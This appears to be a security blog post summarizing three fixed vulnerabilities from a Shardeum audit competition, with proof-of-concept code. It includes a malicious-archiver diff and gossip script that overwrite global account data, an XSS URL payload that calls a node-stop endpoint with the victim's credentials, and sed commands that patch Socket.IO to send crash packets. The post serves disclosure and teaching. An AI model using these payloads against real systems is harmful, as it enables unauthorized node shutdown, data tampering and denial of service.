Top 3 Bugs from the Shardeum Ancillaries Audit Competition

Top 3 Bugs from the Shardeum Ancillaries Audit Competition

From July 8 to August 14, 2024, the Shardeum protocol hosted two simultaneous audit competitions on the Immunefi platform, Shardeum Core and Shardeum Ancillaries, welcoming top whitehat talents to find vulnerabilities within their unique EVM-based network infrastructure.

52 of the very best submissions of various severities from participating whitehats were rewarded from a pool of up to $500,000 USDC.

Here are the top three findings from the Shardeum Ancillaries audit competition, as identified by the Immunefi team.

Throughout the event, an active development phase was in progress, allowing for real-time fixes of the identified issues. As of this publication, all vulnerabilities have been FIXED.

1. Malicious Archiver can overwrite account data on any active archiver — 34508

Finder: periniondon630

Severity: Critical

Assethttps://github.com/shardeum/archive-server

Archive servers are responsible for maintaining transaction receipts and sharing them across the network using the gossip endpoint. When an archive server receives a receipt, it invokes the collectMissingReceipts function to check whether the receipt is unique.

If the receipt is unique, collectMissingReceipts forwards the receipt data to the storeReceiptData function to log the transaction.

collectMissingReceipts forwarding data to storeReceiptData:
    const receipts = (await queryTxDataFromArchivers(
      senderArchiver,
      DataType.RECEIPT,
      txIdList
    )) as Receipt.Receipt[];

    if (receipts && receipts.length > 0) {
      for (const receipt of receipts) {
        const { receiptId, timestamp } = receipt;
        if (txId === receiptId && txTimestamp === timestamp) {
          storeReceiptData([receipt], senderArchiver.ip + ':' + senderArchiver.port, true);
          foundTxData = true;
        }
      }

As we can see, the collectMissingReceipts function only validates if the supplied receipt data contains txId and txTimestamp and doesn’t filter or strip out any extra data from the receipt object before forwarding it to the storeReceiptData function, which allows a malicious actor to attach extra fields related to account settings in the receipt.

diff --git a/src/API.ts b/src/API.ts
index 5335754..795ab09 100644
--- a/src/API.ts
+++ b/src/API.ts
@@ -482,6 +482,7 @@ export function registerRoutes(server: FastifyInstance<Server, IncomingMessage,
 
   server.post('/receipt', async (_request: ReceiptRequest & Request, reply) => {
     const requestData = _request.body
+    console.log('receipt request', requestData)
     const result = validateRequestData(requestData, {
       count: 'n?',
       start: 'n?',
@@ -501,6 +502,76 @@ export function registerRoutes(server: FastifyInstance<Server, IncomingMessage,
     }
     const { count, start, end, startCycle, endCycle, type, page, txId, txIdList } = _request.body
     let receipts: (ReceiptDB.Receipt | ReceiptDB.ReceiptCount)[] | number = []
+    if (txIdList && txIdList.length == 1 && txIdList[0][0].startsWith('hacker')) {
+        const receipt = [{
+    receiptId: txIdList[0][0],
+    timestamp: 1,
+    tx: {
+        txId: txIdList[0][0],
+        timestamp: 1,
+        originalTxData: {}
+    },
+    cycle: 1,
+    beforeStateAccounts: [],
+    accounts: [{
+        accountId: "1000000000000000000000000000000000000000000000000000000000000001",
+        cycleNumber: 1,
+        data: {
+            timestamp: 2000000000000,
+            hash: "hash"
+        },
+        timestamp: 2000000000000,
+        hash: "hash",
+        isGlobal: true
+    }],
+    appliedReceipt: {
+            txid: '',
+            result: true,
+            signatures: [{owner: '', sig: ''}],
+            app_data_hash: '',
+            appliedVote: {
+                    txid: '',
+                    transaction_result: true,
+                    account_id: [''],
+                    account_state_hash_after: [''],
+                    account_state_hash_before: [''],
+                    cant_apply: true,
+                    node_id: '',
+                    sign: {owner: '', sig: ''},
+                    app_data_hash: ''
+            },
+            confirmOrChallenge: {
+                    appliedVote: {
+                            txid: '',
+                            transaction_result: true,
+                            account_id: [''],
+                            account_state_hash_after: [''],
+                            account_state_hash_before: [''],
+                            cant_apply: true,
+                            node_id: '',
+                            sign: {owner: '', sig: ''},
+                            app_data_hash: ''
+                    },
+                    message: '',
+                    nodeId: '',
+                    sign: {owner: '', sig: ''}
+            }
+    },
+    appReceiptData: {
+        data: {
+            amountSpent: "100",
+            readableReceipt: { status: 1 }
+        }
+    },
+    executionShardKey: "",
+    globalModification: true
+}]
+        console.log('sending hackers receipts', receipt)
+        const res = Crypto.sign({
+      receipts: receipt
+        })
+        reply.send(res)
+    } else {
     if (count) {
       if (count <= 0 || Number.isNaN(count)) {
         reply.send({ success: false, error: `Invalid count` })
@@ -598,7 +669,7 @@ export function registerRoutes(server: FastifyInstance<Server, IncomingMessage,
     const res = Crypto.sign({
       receipts,
     })
-    reply.send(res)
+    reply.send(res)}
   })
 
   type AccountRequest = FastifyRequest

When storeReceiptData processes the attacker-crafted receipt containing global account config fields, it interprets those fields as instructions to update the account settings.

The exploit steps are as follows:

  1. A malicious archiver initiates a gossip request to the victim archiver.
import axios from 'axios';
import * as core from '@shardus/crypto-utils'
import { Utils as StringUtils } from '@shardus/types'

const TARGET_URL='http://127.0.0.1:4000'
const PRIVATE_KEY='[Private KEY]'
const PUBLIC_KEY='[Public Key]'

export function sign(obj) {
  const objCopy = StringUtils.safeJsonParse(core.stringify(obj))
  core.signObj(objCopy, PRIVATE_KEY, PUBLIC_KEY)
  return objCopy
}

async function main(){
        console.log('exploiting archiver-server')
        const txid = process.argv[2]
        core.init('69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc')
        let payload = {
                'dataType': 'RECEIPT',
                'data': [{'txId': txid, 'timestamp': 1}],
        }
        payload = sign(payload)
        const r = await axios.post(TARGET_URL + '/gossip-data', payload)
        console.log('success', r.data)
}

main()

2. The victim archiver requests details about the receipt.

3. The malicious archiver sends crafted receipt data that replaces the global network account.

4. The victim archiver stores the data, resulting in changes to the global network account settings.

2. Bypassing Same-Site Through XSS to Shutdown Node — 33692

Finder: neplox@neploxaudit

Severity: Low

Assethttps://github.com/shardeum/validator-gui

Before delving into the technical details of the vulnerability, let’s look at the SameSite=Strict attribute, a browser security mechanism used in the validator-gui for Cross-Site Request Forgery (CSRF) protection.

CSRF attacks occur when an attacker tricks a victim into performing unintended actions on a website where they are already logged in. For instance, the attacker might lure the user into submitting a form on a malicious site, which then sends a request to vulnerable.com/account/settings to make unauthorized changes.

When cookies are set to SameSite=Strict, however, the browser is restricted from including cookies in cross-site requests. While this reduces the risk of CSRF attacks, it doesn’t provide complete protection. Cookies are still included in same-site requests from different subdomains or ports within the same top-level domain (e.g., app.vulnerable.com or vulnerable.com:1337).

If you are interested in learning more about SameSite cookies, check out this amazing article: The great SameSite confusion

In this case, validator-gui relied solely on SameSite=Strict to protect against CSRF, without associating unguessable and random tokens with HTTP requests. A whitehat exploited the lack of a CSRF token at <validator-gui>/api/node/stop by chaining an XSS vulnerability in shardus-core, as these applications are likely to be hosted on the same server.

The validatorListRoute function of shardus-core, located in /src/p2p/SyncV2/routes.ts , retrieves a list of validators based on a hash in a GET request. If the hash doesn’t match any records, the function returns a 404 error with the user-supplied hash unsanitized:

res.status(404).json({ error: `validator list with hash '${expectedHash}' not found` })

This means an attacker could execute malicious JavaScript code by crafting a URL like this:

https://shardus-core.example.com/validator-list?hash=<img src=x onerror=fetch("https://validator-gui.example.com/api/node/stop")>

The exploit steps are as follows:

1. The victim authenticates to validator-gui.example.com.

2. The malicious actor tricks the victim into visiting following URL to trigger the XSS:

https://shardus-core.example.com/validator-list?hash=<img src=x onerror=fetch("https://validator-gui.example.com/api/node/stop", {"credentials":"include","method":"post"})>

3. The browser sends a request to https://validator-gui.example.com/api/node/stop using the victim’s session, due to “credentials”: “include”.

4. The node is shut down without the victim’s knowledge

3. Archive-Server can be killed by connected shardus-instance — 34298

Finder: riproprip@riproprip

Severity: Medium

Assethttps://github.com/shardeum/archive-server

The Archive Server uses an outdated version of Socket.IO that is vulnerable to CVE-2023–32695, allowing a connected shardus-instance to crash the Archive Server by sending a malformed packet.

A typical Socket.IO packet looks like this:

42["eventName", "String Value", {"Object": "value"}]

However, a malicious shardus-instance can send a packet like:

42[{"toString":"1337"}, "1337"]

When the Socket.IO parser in the Archive Server processes this packet, JavaScript tries to convert the object to a string by calling the toString() method. If toString is defined as a property instead of a function, it will cause an error because it cannot be invoked as a method.

Proof of concept:

const PORT = 3030;
const app = require('express')();
const http = require('http').createServer(app);
const io = require('socket.io')(http, {cors: {origin: "*",methods: ["GET", "POST"]}});

io.on('connection', (socket) => {
        console.log('A user connected', new Date());

        socket.on('ARCHIVER_PUBLIC_KEY', (key) => {
                console.log('ARCHIVER WITH KEY CONNECTED', key);
        });

        setTimeout(() => {
                console.log('killing archiver', new Date());
                socket.emit('doesnt', 'matter'); // this will be overriden by our encoder implementation
        }, 60_000);
});

http.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});

Install packages and replace encoder with evil encoder:

npm install
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-client/node_modules/socket.io-parser/index.js
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-parser/index.js

Run evil shardus instance:

node evil-shardus.js